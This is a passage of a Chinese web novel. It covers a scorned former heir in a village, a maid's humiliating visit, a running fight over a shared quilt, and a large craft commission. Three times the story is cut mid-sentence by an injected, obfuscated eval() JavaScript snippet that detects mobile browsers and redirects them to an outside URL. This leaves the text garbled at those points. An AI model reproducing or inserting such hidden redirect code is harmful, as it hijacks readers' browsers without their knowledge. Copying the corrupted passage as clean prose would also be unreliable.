车漆很亮,跟这条满是泥坑的土路格格不入。 “我是许知行。”他说。 车门打开了。 一个穿着黑色套裙、踩着高跟鞋的女人从车里出来。她四十来岁,身材干瘦,脖子上挂着一条金项链,手里夹着一根女士烟。 许知行认出她了。 刘姐。 许家的保姆。以前许知行还是许家少爷时,这女人对他总是满脸堆笑。许文杰来了之后,她对许知行的态度就变了,爱搭不理的,背地里还跟其他佣人说许知行不是亲生的。 “哎哟,许知行啊!”刘姐摘下墨镜,上上下下打量了一眼许知行。 她的目光从许知行那件皱巴巴的衬衫扫到沾满泥的裤腿,再落到他光着的脚上,嘴角往下一撇。 “真是你啊。我还以为找错地方了。”刘姐叼着烟,回头对着车里喊了一声,“小张,把后备箱那箱子搬下来。” 司机从后备箱搬出一个纸箱子,放在路边。 刘姐踮着脚尖往院子里探头看了一眼,立刻捂住了鼻子。 “哎哟,这地方猪圈一样的,怎么住人啊?”她的声音很尖,“我的天,这院子里是不是养了鸡?臭死了。还有那条狗,脏兮兮的。许知行,你现在过的是什么日子啊?” 将军在鸡笼里歪着头看她。大黑从狗窝里伸出脑袋,一脸疑惑。 许知行站在门口,没说话。 刘姐弹了弹烟灰,接着说:“文杰少爷让我来看看你,说到底一起长大的,不放心你一个人在乡下。他心善,特意让我把你以前的旧衣服送过来。都是你不要的,扔了可惜。” 她回头指了指那个纸箱,“喏,都在里面了。你以前那些名牌衣服,在这乡下也用不着,但总比你身上穿的这个像样。” 刘姐说完,掏出手机对着院子拍了两张照片。 “文杰少爷说让我拍几张照片给他看看。”刘姐笑了笑,那笑容里全是看笑话的意思,“他说想知道你住得怎么样,好不好。” 许知行的表情没变。 他还没开口,身后传来了脚步声。 蒋承骁从旁边走了过来。 他穿着那件洗得发黄的老头衫,下面是宽松的大裤衩,脚上蹬着一双草鞋。他没戴口罩,露出一张线条冷硬的脸。 蒋承骁比许知行高了一个头,肩膀很宽,往院门口一站,直接把半个门框都挡住了。 刘姐的视线撞上蒋承骁的脸,愣了一下。 这男人长得太凶了。眉骨很高,眼窝深,眼神很吓人。虽然穿得破破烂烂,但那股子气势—— 刘姐不自觉的往后退了一步。 “哪里来的废弃物?”蒋承骁的声音很低,压着一股不耐烦,“你不知道吗?没有预约,禁止入内。” 刘姐被他这句话搞懵了,张着嘴看着他。 “你是谁?我们两个在说话,关你什么事?” 蒋承骁没回答。他走到许知行旁边,随手从桌上抄起那把游标卡尺,在手指间转了一圈。 他往前迈了一步。 刘姐又退了一步。高跟鞋踩在泥地上,往下陷了一截。 “我是这里的安保主管。”蒋承骁盯着刘姐的眼睛,“给你三秒钟,带着你的垃圾消失。否则我按非法入侵处理。” 刘姐的脸白了。 她不认识蒋承骁,但她活了四十多年,伺候过不少有钱人。有些人的气场是装出来的,但眼前这个穿老头衫的男人身上那股压迫感,不是装的。 “我是许家派来的!”刘姐强撑着说,声音已经没了刚才的底气,“我来给许知行送东西!” “谁?”蒋承骁眯了眯眼。 “许家!城里的许家!许文杰少爷让我来的!” 蒋承骁转头看了许知行一眼。 许知行的脸上还是没什么表情。 蒋承骁看懂了。他转回头,往前又迈了一步。 这一步跨出去,他和刘姐之间只剩不到半米。 一米九的个头,居高临下的俯视着面前这个女人。 “听好了。”蒋承骁的声音更低了,“不管你是哪个许家派来的。这里是私人住宅。未经许可擅入,拍照取证,涉嫌侵犯隐私权和住宅安宁权。你刚才拍的那两张照片,删掉。” 刘姐攥着手机,手在抖。 “三。”蒋承骁开始倒数。 “你在威胁我吗?” “二。” 刘姐的手指哆嗦着点开相册,删了照片。 “让我看看。”蒋承骁把手一伸。 刘姐犹豫了一秒。 蒋承骁没等她,直接从她手里把手机拿过来。他低头翻了两下,确认最近删除的也清了,才把手机扔回去。 刘姐手忙脚乱的接住手机,脸色已经完全变了。 “许知行!你这是养了个什么人?”她冲着许知行喊,声音又尖又抖,“你等着!我回去跟文杰少爷说!” 她转身就走,高跟鞋在泥地里走得摇摇晃晃,差点摔倒。 那个纸箱还留在路边。 “箱子带走。”蒋承骁在后面说。 刘姐头也不回:“那是文杰少爷给他的!不要就扔了!” 她钻进车里,车门一关,黑色轿车倒了几次才调过头,溅着泥水开走了。 院子里安静下来。 蒋承骁看着远去的车尾灯,收起游标卡尺,转头看许知行。 “谁?” “以前家里的保姆。”许知行说。 “那个许文杰是谁?” “我弟弟。”许知行顿了一下,“不是亲的。” 蒋承骁没追问。他看出许知行不想多说。 许知行走到路边,看了一眼那个纸箱。纸箱没封严,上面露出几件衣服的边角。 他弯腰掀开箱盖。 里面是一堆衣服。衬衫、外套、裤子,叠得乱七八糟,像是随便从衣柜里抓出来塞进去的。 许知行随手翻了翻。 “这件风衣,领子上有个小洞,是我十六岁那年做实验烧的。”他拿起一件深色风衣看了看,“这件羊绒衫缩水了,是保姆洗坏的。这条裤子的拉链坏了。” 全是有瑕疵的旧衣服。 蒋承骁站在旁边,脸色很难看。 “扔了。”蒋承骁说。 “别浪费。”许知行把那件风衣拎出来,用手摸了摸面料,“羊毛混纺,内衬也是好料子。领子上的洞补一下就行。你穿正好。” “我不穿别人剩下的。”蒋承骁冷哼。 “你现在穿的老头衫就是我爷爷剩下的。” 蒋承骁看了看自己身上的衣服,嘴张了张,没话说。 许知行把箱子搬进屋里,放在桌上。 他把衣服一件件拿出来,好像刚才什么都没发生过。他按面料分好,能穿的放一边,不能穿的放另一边。不能穿的那些,布料剪下来可以做沙发套、鞋垫、补丁。 “这件羊绒衫虽然缩水了,但纤维还好。拆了能织手套。”许知行自言自语。 蒋承骁在旁边坐着,一声不吭。 “你不生气?”蒋承骁忍不住问。 “生气浪费时间。”许知行拿起剪刀,开始拆那件缩水的羊绒衫,“而且她送来的东西确实有用。” “那是施舍。” “施舍也是资源。”许知行剪断一根线头,“只要到了我手里,就不是垃圾了。” 蒋承骁看着他。 这个人到底是没心没肺,还是把什么都吞进肚子里了? 蒋承骁说不上来。但他胸口那股闷气一直消不掉。 晚饭是笋片蛋花汤,配白米饭。 吃完饭,蒋承骁去洗碗。回来的时候,看见许知行坐在那盏快坏了的灯泡下面,面前摊着那件深色风衣。 许知行手里拿着针线,正在补领子上的小洞。 “你干什么?”蒋承骁走过去。 “改衣服。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308340|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许知行没抬头,“你胳膊比我长,袖子不用改。腰围要收一点,你虽然壮,但腰细。下摆长度刚好到膝盖上面,不用动。” 蒋承骁站在旁边,低头看着许知行的手。 灯光很暗,许知行的手指在布料上穿来穿去,动作很快。针脚又细又密,非常整齐。 “过来量一下。”许知行站起来,手里拿着一根用麻绳做的软尺。 蒋承骁走过去,站在他面前。 许知行把软尺搭在蒋承骁的肩上,量了肩宽。然后绕到他身后,量了背宽。 “转过来。” 蒋承骁转过来。 许知行把软尺绕到他的腰上。 两人离得很近。许知行的手指贴着蒋承骁的腰侧,隔着那件薄薄的老头衫,滑过去,把软尺拉到前面读数。 蒋承骁的呼吸停了一下。 许知行的手指很凉,隔着布料都能感觉到。指尖从腰侧划过的时候,蒋承骁的腹肌不受控制的绷紧了。 “腰围七十八。”许知行低头看了一眼数字,嘀咕了一句,“比我猜的细。” 蒋承骁没说话,耳根开始发热。 许知行又蹲下来量裤长。 他一只手按住蒋承骁的胯骨侧面,另一只手把软尺拉到脚踝。 蒋承骁低头看着许知行的头顶。灯光照在他的头发上,发丝有点毛躁,后脑勺有一小撮翘起来的呆毛。 “好了。”许知行站起来,把数据记在手腕上。他走回桌前,拿起针线继续改。 蒋承骁还站在原地,动也没动。 过了好一会儿,他走到炕边坐下来,看着许知行的背影。 灯泡的光昏黄,许知行埋着头,影子被拉得很长,投在墙上。 蒋承骁看了很久。 “你以前在许家,都是这样的?”他突然开口。 “什么这样?” “别人不要的东西给你,你就接着?别人让你滚,你就滚?别人来看你笑话,你也不生气?” 许知行的手停了一秒,又继续缝。 “那是废物利用。”许知行说。 蒋承骁沉默了一会儿。 “以后那种废弃物再来,让我处理。”他的声音闷闷的。 许知行没回头。 “好了。”许知行咬断线头,把改好的风衣抖开,“试试。” 蒋承骁站起来,接过风衣。 面料摸着很舒服,比他身上这件好多了。他把风衣套在身上,扣好扣子。 袖长刚好到手腕,腰部收紧了一点,整件衣服贴合着他的身形,很合身。 许知行从墙角搬出一块靠在柜子旁边的旧镜子。镜面有裂纹,但还能照。 蒋承骁对着镜子看了看。 镜子里的人穿着深色风衣,肩宽腿长,腰线利落。虽然下面还是大裤衩和草鞋,但上半身看着完全是另一个人了。 蒋承骁看着镜子里的自己,总觉得有什么地方不对。 这件风衣的版型,这个颜色。 好像在哪里见过。 他低头看了看衣服,下意识的把手伸进了风衣的内侧口袋里。 指尖碰到了一个硬邦邦的东西。 一张卡片。 蒋承骁捏住卡片的边角,慢慢抽出来。 那是一张名片。黑金色的底,烫金的字。手感很厚,是特种纸。 上面印着一行字:JC集团。 蒋承骁的瞳孔猛的缩了一下。 他总觉得这几个字母很熟悉。他翻过名片,想看后面的名字—— “快过来铺床,不然今晚就别盖被子了。”许知行的声音从里屋传出来。 蒋承骁手一抖,名片从指尖滑落。 “啪嗒。” 它掉进了旁边的火盆里,黑金色的卡纸在火中扭曲,最后变成一片薄薄的黑灰。 蒋承骁盯着火盆里那一小撮灰烬,手悬在半空中。 那张名片上印的名字是什么?他还没来得及看清。 12.被子争夺战 许知行抱着那床新被子站在炕边,突然想到一个问题。 以前他睡堂屋的藤椅,蒋承骁睡炕,一人一间,互不打扰。但现在只有一床新被子,那条旧床单薄得跟纸一样,盖了也白盖。 总不能两个人一人盖一半,晚上各自冻半边身子。 许知行看了看炕,又看了看蒋承骁。 蒋承骁正背对着他,站在桌前假装翻看那本手工编织大全。风衣已经脱了,身上还是那件洗得发黄的老头衫。 “炕够大,一人一半。”许知行没什么表情的说。 蒋承骁翻书的手停住了。 他转过身,脸上的表情很奇怪,像是吃了个不熟的酸枣。 “什么?” “被子只有一床,天冷了,藤椅上睡不了人。”许知行把被子往炕上一甩,“炕宽一米八,你占九十厘米,我占九十厘米,互不干扰。” 蒋承骁的耳根红了,从耳垂一下烧到耳尖。 “我不怕冷。”他声音又硬又快的说,“你盖被子,我盖床单就行。” “床单薄得能透光,你盖着跟没盖一样。” “我体温高。” “你之前还发烧四十度。” “那是之前的事!”蒋承骁拔高了声音,“我现在已经完全恢复了,核心体温三十六度八,标准值,不需要额外保暖。” 许知行没理他,直接脱了鞋爬上炕,躺在了靠墙的那一侧。被子展开盖在身上,又把另一半往中间拉了拉。 “别浪费资源。”许知行闭上了眼。 蒋承骁站在炕边,低头看着许知行。 许知行已经侧过身面朝墙壁,呼吸平稳,好像一点也不在乎旁边会多一个一米九的大男人。 蒋承骁站了足足两分钟。 院子里的将军咯了一声,大黑狗翻了个身。 蒋承骁咬了咬牙,小心翼翼的爬上了炕。 他躺下来,身体紧紧贴着炕的另一边,绷得笔直。两人中间隔了至少半米的距离,被子在中间拉成了一条直线。 蒋承骁平躺着,两只手规规矩矩的放在身体两侧,眼睛瞪着房梁。 他不敢翻身,因为一翻身就会离许知行更近。 他甚至不敢大口呼吸,刻意把气息放得很轻,生怕打扰到旁边的人。 屋里很安静,只有窗外的虫鸣和风声。 蒋承骁闻到被子上新棉花干净又暖和的味道。 他又闻到另一种很淡的味道,像是肥皂混合着木屑,是许知行身上的味道。 蒋承骁的喉结滚动了一下。 他猛的翻了个身,背对着许知行。 动作太大,炕发出一声“吱呀”的响动。 “不许动。”许知行的声音从另一边闷闷的传来。 “我翻个身不行吗?” “你翻身的动静太大了。” “那是炕太烂。” “闭嘴,睡觉。” 蒋承骁咬着牙,闭上眼。 他对自己说:睡觉,赶紧睡,明天还得砍竹子。 心跳比平时快了不少。 许知行也闭着眼。 他的心跳也比平时快了一拍,但脸上什么都看不出来。 过了很久,两个人的呼吸都变得均匀了。 都睡着了。 凌晨三点。 蒋承骁的睡眠本能开始发作。 他是那种睡着了就完全管不住自己的人,清醒时再怎么克制,一旦进入深度睡眠,身体就开始自己做主。 先是一只手越过了中线,搭在了被子的另一边。 然后整个身体跟着翻了过去。 他下意识的就把整床被子往自己身上卷,裹得严严实实,一点缝都不留。 然后他翻了个身。 一条大长腿直接压在了许知行的腰上。 许知行是被冻醒的。 他睁开眼,发现自己身上空荡荡的躺在炕上,什么都没有。凌晨的山里气温很低,冷风从窗户缝钻进来,他的胳膊上起了一层鸡皮疙瘩。 他转过头。 旁边,蒋承骁把被子卷成了一个筒,整床被子被他卷了三圈,只露着一个脑袋,嘴角微微上翘,睡得很香。 他的右腿跨过中线,沉甸甸的压在许知行腰上。 许知行伸出手,去拽被子的边角。 拽不动。 蒋承骁的两条胳膊从里面死死抱着被子,就算睡着了,臂力也大得惊人。 许知行换了个角度,从另一边拽。 还是拽不动。 他试了第三次,用了全力,被子纹丝不动。 蒋承骁在梦里嘟囔了一句:“这个方案不行,重做。” 然后把被子裹得更紧了。 许知行放弃了。 他把蒋承骁的腿从自己腰上推下去,起身走到堂屋,找出那条旧床单裹在身上,缩在了藤椅上。 冷。 破床单根本挡不住风。 许知行把身体蜷起来,膝盖顶着胸口,双手抱住自己的胳膊。他闭上眼,脑子里开始盘算:明天得再弄一床被子,至少弄个厚点的毯子。或者把那几件旧衣服拆了,用里面的棉花做个薄被?不够厚。还是得再攒点钱买布料和棉花。 想着想着,他就在这冷风里迷迷糊糊的睡了过去。 第二天早上。 阳光照进来的时候,蒋承骁醒了。 他先感觉到的是暖和,非常暖和,浑身都被柔软的棉花包着,舒服得不想动。 然后他发现自己把整床被子都卷成了一个筒。 他的四肢都缠在被子里面,像个粽子。 蒋承骁挣扎了半天才把自己从被子里弄出来。他坐起身,看了看炕的另一边。 空的。 他走出里屋。 许知行缩在堂屋的藤椅上,裹着那条旧床单,整个人蜷成一团。他的嘴唇冻得发青,本就很白的脸色比平时更是白了好几个色号。 蒋承骁站在那里,眼神有点飘忽。 许知行睁开眼,两人对上了视线。 “你怎么睡在这?”蒋承骁率先开口,试图蒙混过关。 “被你赶出来的。”许知行的声音有点哑。 “什么意思?” “你昨晚把被子卷了三圈,还用腿压着我。”许知行站起来,活动着僵硬的脖子,“我拽了三次都没拽动。” “不可能。”蒋承骁斩钉截铁的否认,“我睡觉很规矩。” “你还说梦话了。” 蒋承骁的表情僵了一下:“说什么了?” “你说‘这个方案不行,重做’。” 蒋承骁的脸彻底僵住了。 “我没说过。” “你说了。” “就算说了,那也是正常的职业素养,跟抢被子没关系。” “你的职业素养导致我在藤椅上冻了半宿。” 蒋承骁张了张嘴,找不到话反驳。 他转身往院子走:“我去洗脸。” “碗在厨房,顺便洗了。” 蒋承骁假装没听见,大步走了出去。 许知行看着他的背影,转身走去杂物间,翻出了一卷麻绳。 今晚,物理防盗。 白天。 许知行开始新的手工项目。 他把前几天从王大婶那换来的旧竹匾拆了,取出里面还能用的竹条。又把刘姐送来那箱旧衣服里的羊绒衫拆开,一根根的抽出羊绒线,绕成线团。 “做什么?”蒋承骁蹲在旁边,手里拿着砂纸。 “竹编收纳篮。”许知行比了个大小,“外面竹编,里面用羊绒布做内衬,既结实又好看。” “羊绒做内衬?那件衫不是缩水了吗?” “缩水了才好,纤维更密,摸着更软。” 蒋承骁接过竹条,开始干活。 他拿出游标卡尺,量好宽度,再用砂纸一根根打磨光滑,嘴里还念叨着:“公差不能超过零点五毫米,超了就报废。” “你不是在加工航天零件。”许知行说。 “标准就是标准。”蒋承骁用卡尺夹住一根竹条,看了看刻度,摇了摇头放到一边,“这根超了零点三,淘汰。” 许知行捡起那根被淘汰的竹条看了看。 “肉眼根本看不出差别。” “肉眼看不出不代表不存在。”蒋承骁很认真,“细节决定品质。” 许知行没再说什么,低头编起了篮子。 下午,开直播。 标题:竹编羊绒收纳篮。 镜头架好,许知行坐在桌前,手里的竹条飞快的穿梭编织。 直播间人数涨得很快,才开播十分钟,在线人数就突破了两千,然后稳定在三千左右。 弹幕疯狂刷屏。 【复合肥小哥今天戴口罩了吗!】 【想看脸想看脸想看脸!】 【主播,让你家助理摘口罩吧,我们发誓不截图!】 蒋承骁坐在镜头边缘的老位置,戴着口罩,低头打磨竹条。 许知行看了一眼弹幕,回答:“他脸上有伤,不方便。” 角落里,蒋承骁猛的抬头。 “谁脸上有伤了?”他放下卡尺,伸手就要去摘口罩,“我脸上好得很,一点伤都没——” “今晚吃酸菜鱼。”许知行打断他。 蒋承骁的手停在了半空中。 酸菜鱼。 他咽了口唾沫,手慢慢放了下来。 “无聊。”他转回去,继续打磨竹条。 弹幕笑疯了。 【一句酸菜鱼就镇住了哈哈哈哈!】 【主播驯兽师实锤!】 【复合肥小哥的弱点就是吃,这大家都知道了吧。】 直播进行了两个小时。 竹编收纳篮做好了四个。篮子的竹编纹理很精致,内衬是拆了羊绒衫重新缝的布,浅灰色,摸起来很软。外面是竹子的本色,里面是羊绒的质感,搭在一起确实好看。 蒋承骁照例跑到镜头前推销了一波。 “这个篮子的竹条宽度误差控制在零点五毫米以内。”他举起一个篮子,声音低沉又笃定,“市面上的竹编产品,百分之九十做不到这个精度。你们买的那些批量生产的工厂货,竹条宽窄不一,缝隙参差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318687|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐,看着就知道是糊弄人的。” 他把篮子翻过来给镜头看底部。 “看到没?底部的编织纹路是放射状的,每一根竹条之间的夹角都是十五度。这是纯手工定位,不是机器能做出来的。” 许知行在旁边听着,嘴角抽了一下。 十五度是他随手编的,哪有那么精确。 但观众信了。 竹编收纳篮定价一百二十块,两个小时卖出去八个,九百六十块。 关掉直播,许知行算了算账。加上之前的存款,账上有两千一百八十块了。 蒋承骁凑过来:“分我一半。” “你欠我一千八百二十。” “什么时候欠这么多了?” “昨晚你抢被子,精神损失费一百。” “这也算?” “算。” 蒋承骁黑着脸转身就走。 傍晚。 许知行去村口找老周换了两条鲫鱼和一棵白菜,代价是两双草鞋。回来的路上又去王大婶家拿了两个鸡蛋,是上次修她家水龙头的余款。 厨房里,许知行开始做酸菜鱼。 没有酸菜,他用白菜代替。白菜切丝,加盐和醋腌了半小时,勉强有点酸菜的意思。 鲫鱼片成薄片,用盐和淀粉抓匀。锅里下油,爆香姜蒜和干辣椒,加水煮开,先下腌好的白菜丝,再下鱼片。 蒋承骁蹲在灶台前添柴火,他现在已经能精准控制火候了,该大火的时候猛添,该小火的时候只放两根细柴。 “好了。”许知行揭开锅盖。 酸辣的香气扑出来,夹着鱼肉的鲜味。 两人坐在桌前。桌上一大盆酸菜鱼,两碗米饭,一个鸡蛋炒白菜。 蒋承骁夹了一筷子鱼片放进嘴里,嫩的,滑的,酸辣刚好。 他又接连夹了好几筷子。 “鱼刺太多。”蒋承骁嘴上嫌弃着,手上的筷子一秒没停,“不合格。” 他吃了三碗饭,鱼汤都喝光了。 碗底一根鱼骨头都没剩。 许知行看着他那碗干净得像洗过的碗底,没说什么。 晚上。 蒋承骁洗完碗回到里屋,看到许知行蹲在炕边,手里拿着一卷麻绳。 许知行把被子铺在炕上,然后拿起麻绳,穿过被子两侧的边缘,绑在炕沿两边的钉子上。麻绳拉紧,被子的两侧被固定住了,掀不起来也卷不走。 蒋承骁看着这个操作,脸黑了。 “你把我当什么?野猪?” “你昨晚的表现确实像。”许知行检查了一下麻绳的结,拉了拉,很紧,“这样你就卷不走了。” “你这是侮辱我。” “这是保护共有财产。” 蒋承骁气得直接躺下,把脸转向墙壁。 “今晚我一定不抢被子。”他从牙缝里挤出来,“不信你看着。” “嗯。”许知行也躺下来。 被子被绳子固定着,两人各盖一半,谁也拽不走。 蒋承骁赌气的闭上眼,一动不动。 许知行也闭上眼。 这次应该没问题了。 凌晨两点。 “咔嚓。” 一声闷响。 蒋承骁在睡梦中翻了个身,一只手无意识的抓住了被子边缘,他的手臂肌肉用力收缩。 “嘣!” 麻绳被连根拽断了。 断裂的绳头弹在墙上,发出一声脆响。 蒋承骁浑然不觉,抱着被子翻了个身,三圈,裹得严严实实。 许知行再次被冻醒。 他睁开眼,看见断掉的麻绳头在月光下晃荡。 再看旁边,蒋承骁裹成了一个球,呼吸平稳,睡得很沉。 他的一条腿又压了过来,搭在许知行的小腿上。 许知行盯着天花板,沉默了十秒钟。 他在心里打开了那个小本子。 债务人:成削。欠款:一千八百二十元。 加一百。 麻绳损坏费。 合计:一千九百二十元。 许知行把蒋承骁的腿推开,走到堂屋,又裹着那条破床单缩在了藤椅上。 明天必须弄第二床被子,不管用什么办法! 第二天清晨。 许知行比蒋承骁先醒。 他坐在院子里的石头上,手里捧着一碗凉白开,嘴唇还是青的。 手机屏幕亮了一下。 他拿起来看。 是直播平台的私信通知。 一个加了蓝V认证的账号,头像是一个古风家居品牌的logo,名字叫“山月清”。 许知行点开私信。 “许老师您好,我们是‘山月清’品牌方。看到您的直播作品非常惊艳,我们有一个定制项目想跟您合作——一套以《千里江山图》为主题的玉米皮编织屏风。预算丰厚,不知您是否有兴趣?” 下面附了一张合作意向书的截图。 许知行的视线落在了最后一行。 预付定金:20000元。 他的手指微微收紧了。 13.品控总监上线了 许知行没有立刻回复那条私信。 他先点开“山月清”的主页,翻了十几条动态。新中式家居品牌,在业内有点名气,合作过的手艺人不少,主页上挂着营业执照和品牌授权书。 不是骗子。 他回了一句:“可以详谈。” 对方回复的很快,发来一份详细的需求文档。 屏风规格:四扇联屏,每扇高一米八,宽六十厘米。材质:天然玉米皮编织。主题:千里江山图,山水意境。工期:三个月。预付定金两万,完成后尾款三万。 总共五万。 许知行看完需求,没有立刻答应。 他走到院子里,蹲在墙角那堆干玉米皮旁边。之前修拖拉机时从村长家顺来的那一批已经用了大半,做灯罩和收纳篮消耗不少。 四扇大屏风,光玉米皮就需要几百斤。 而且千里江山图的配色极为复杂。青绿山水,深浅不一的绿色和蓝色,原本白色的玉米皮得染成各种色调。靛蓝要用板蓝根叶子,绿色要用鲜艾草,赭石色要用黄土,黄色要用栀子果。 山里能找到一部分,但需要时间采集和熬制。 他蹲在地上,拿了根树枝在泥地上画草图。四扇屏风的结构、比例、色块分布,一点一点算出来。 蒋承骁从屋里走出来,看见许知行蹲在地上发呆,手边摊着一张画了密密麻麻草图的纸。 “又在算什么?” “一笔大买卖。”许知行把手机递给他。 蒋承骁接过去,滑了两下,眉头拧起来。 “五万块?”他看了看需求,又看了看许知行,“你一个人做四扇屏风?三个月?你疯了吧。” “我们一起做。”许知行看了他一眼。 蒋承骁指着自己的鼻子:“你又打我的主意。” “你是现成的劳动力,不用白不用。” “我是精密加工工程师!我不是你的免费打工人!” “加餐,每天加一个肉菜。” 蒋承骁的嘴角抽了一下。 许知行补充:“而且你的债务可以用工时抵扣。按照你目前的欠款两千四百块计算,如果你全程参与这个项目,我可以减免百分之五十。” “百分之八十。” “六十。” “七十五,少一个百分点我就罢工。” “成交。” 许知行回复了品牌方,接了单。 预付定金两万,当天到账。 许知行看着银行APP上的数字,盯了三秒钟。这是他来到这个村子以来,账户上最大的一笔钱。 但他没动那笔钱。 他翻出那个小本子,列了一张清单。 工具:不同型号的钩针和织针,镇上杂货铺能买到。染料:板蓝根叶子和艾草后山有,黄土更不缺,栀子果得去镇上中药铺买,明矾也要。骨架:屏风内部需要硬木框架支撑,村长家后院有几根放了十年的老杉木。玉米皮:需要大量收购,整个村子家家户户秋收后都有剩的。 他把清单上的每一项都标了价格和获取方式。能用手艺换的绝不花钱买,必须花钱的精确到分。 “村长家那几根杉木怎么弄?”蒋承骁凑过来看清单。 “用修理手艺换。” “他肯?” “他家抽水泵坏了三个月了,每天挑水浇菜。” 蒋承骁点了点头:“奸商。” “互利互惠。” 当天下午,许知行带着蒋承骁去了镇上。 交通工具是村长刚修好的那台拖拉机,村长亲自开,顺便去镇上买化肥。 蒋承骁坐在拖拉机后斗里,屁股底下垫着一个破麻袋。山路颠的厉害,他的五脏六腑跟着一起跳。蒋承骁一只手死死抓着车帮,另一只手攥着游标卡尺,脸色铁青。 “慢点!”他朝前面吼。 村长根本听不见,拖拉机突突突地冒着黑烟往前冲。 许知行坐在旁边,稳得像块石头,手里还在翻那本手工编织大全。 “你怎么不颠?”蒋承骁瞪着他。 “重心放低。” “放你——” 一个大坑颠过去,蒋承骁差点飞出车斗。他来不及骂完,只能咬紧牙关抱住车帮。 到了镇上,蒋承骁跳下车的时候腿都是软的。 许知行直奔杂货铺。 钩针,六个型号,一套十二块。织针,八个型号,一套十五块。砂纸,三包,九块。铁丝,两卷,十四块。 老板算了算:“五十块整。” “四十。”许知行面无表情。 “大兄弟,这都是进价了。” “砂纸你进价两块一包,卖三块,利润百分之五十。铁丝你标七块一卷,五金店卖五块五。” 老板的笑容僵了。 “四十二,不能再少了。” “四十。送我两根鞋带。” “鞋带?你要鞋带干什么?” “做手工。” 老板叹了口气,把鞋带扔进袋子里:“四十,拿走拿走。” 出了杂货铺,许知行又拐进隔壁的中药铺。 栀子果,半斤。明矾,一斤。 中药铺的老太太戴着老花镜,慢悠悠地称好,报价:“栀子果十五,明矾八块,一共二十三。” “栀子果这个品相,表皮有裂纹,品相不好。十块。” 老太太放下秤,看了许知行一眼:“小伙子,你懂中药?” “不懂。但我懂品相。” 最后八块钱拿下了栀子果,明矾没还价。 蒋承骁全程跟在后面,看着许知行砍价的样子目瞪口呆。 这人面无表情,语速不快,但每一句话都精准地戳在老板的痛处。 “你以前是不是干过采购?”蒋承骁问。 “没有。” “那你怎么知道砂纸的进价?” “问过三家店。” 蒋承骁看着他,忽然觉得这个人比他想象的要可怕得多。 从中药铺出来,经过杂货铺门口的一个鞋摊。 蒋承骁的脚步慢了下来。 摊子上摆着一排黑色的胶底布鞋,简单朴素,看着干净。 蒋承骁站在那看了三秒钟,移开了目光。 许知行也看到了。 他走过去,拿起一双翻了翻鞋底,又捏了捏鞋帮。 “多少钱?” “十五。” 许知行想了想,放下了。 蒋承骁假装没看见,手插在口袋里往前走,嘴里说:“这种地摊货穿两天就烂。” 许知行没接话,跟上去了。 回村的路上,拖拉机经过一片收完的玉米地。地里到处是被丢弃的玉米皮和秸秆,一堆一堆的。 “停车。”许知行拍了拍驾驶室。 村长刹住车:“干啥?” “捡玉米皮。” 许知行跳下车,走进地里,弯腰就捡。 蒋承骁也跳下来。 “脏死了。”他嘴里骂着,但蹲下来的速度比许知行还快。他两只手一抓一大把,三下五除二就捆了一捆。 “轻点,别把纤维撕断了。”许知行提醒。 “你管我怎么捡!”蒋承骁吼了一声,但下一把确实轻了。 两人捡了二十分钟,装了两大编织袋的玉米皮,塞进拖拉机后斗。 回到家,天快黑了。 许知行把买来的东西和捡来的玉米皮搬进屋里,开始做准备工作。 “过来,教你处理玉米皮。” 蒋承骁走过来,在桌前坐下。 许知行拿起一片干玉米皮:“第一步,清水泡软。泡两个小时,时间不能过长,否则纤维会烂。” 他把泡好的样品拿出来。 “第二步,刮刀把表面的杂质刮干净。顺着纤维方向刮,不能横着来。” 他示范了一遍,刮完后的玉米皮干净光滑,颜色均匀。 “第三步,按颜色深浅分类。白色的用来染色,自然发黄的留着做底色。” 蒋承骁听完,二话不说拿起游标卡尺。 “厚度呢?” “什么?” “每一片的厚度也要统一,不然编出来的表面不平整。” 许知行看了他一眼,没说话。 蒋承骁已经开始量了。他把每一片玉米皮的厚度都测了一遍,按零点一毫米的精度分成三档:薄的一堆,中等的一堆,厚的一堆。 每一堆都码的整整齐齐。 许知行看着他分好的材料,点了点头。 “不错。” 蒋承骁嘴角翘了一下,迅速压下去:“这叫基本功。” 晚上,许知行架好手机,开了直播。 标题:接单了——千里江山图玉米皮屏风。 他对着镜头,语气平淡:“接了个大项目。四扇联屏,千里江山图,纯玉米皮编织。工期三个月。今天开始备料。” 他展示了采集回来的玉米皮原料,演示了泡发、刮制、分类的全过程。 直播间人数刷的很快。十分钟破两千,半小时破三千,一个小时后直接突破了五千。 弹幕刷疯了。 【千里江山图?用玉米皮?这也太狠了吧!】 【大神要搞大事情!蹲了蹲了!】 【三个月啊,这不得天天追更?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322401|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 